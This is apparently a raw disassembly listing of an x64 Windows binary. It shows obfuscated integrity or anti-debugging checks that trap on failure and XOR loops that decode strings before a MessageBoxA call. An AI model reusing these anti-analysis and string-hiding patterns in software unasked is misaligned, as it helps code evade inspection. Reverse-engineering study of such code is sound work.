mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400375c7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400375c7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x1400379b3
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037675
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037675
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140037750
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037730
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037730
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037750
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x4d8], xmm0
mov word [rbp + 0x4e8], Ordinal_200
mov rdi, r14
movabs rbx, 0x1092e4720
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4d8]
lea rcx, [rbp + 0x4d8]
call fcn.140037ae4
xor al, dil
mov byte [rbp + rdi + 0x4d8], al
inc rdi
cmp rdi, 0x11
jb 0x140037776
mov byte [rbp + 0x4e9], r14b
movdqa xmm0, xmmword [0x1400dfd90]
movdqu xmmword [rbp + 0xce0], xmm0
movdqa xmm1, xmmword [0x1400dfe60]
movdqu xmmword [rbp + 0xcf0], xmm1
movdqa xmm0, xmmword [0x1400e0080]
movdqu xmmword [rbp + 0xd00], xmm0
mov dword [rbp + 0xd10], 0x65fda6b8
mov dword [rbp + 0xd14], 0xfb16300a
mov dword [rbp + 0xd18], 0x6df3fdf3
mov word [rbp + 0xd1c], WSASetLastError
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xce0]
lea rcx, [rbp + 0xce0]
call fcn.140037b58
xor al, dil
mov byte [rbp + rdi + 0xce0], al
inc rdi
cmp rdi, 0x3d
jb 0x14003780b
mov byte [rbp + 0xd1d], r14b
xor r9d, r9d
lea r8, [rbp + 0x4d8]
lea rdx, [rbp + 0xce0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140037909
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400378e9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400378e9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037909
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x1400379b3
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037993
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037993
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, 1
call fcn.14009dce8
int3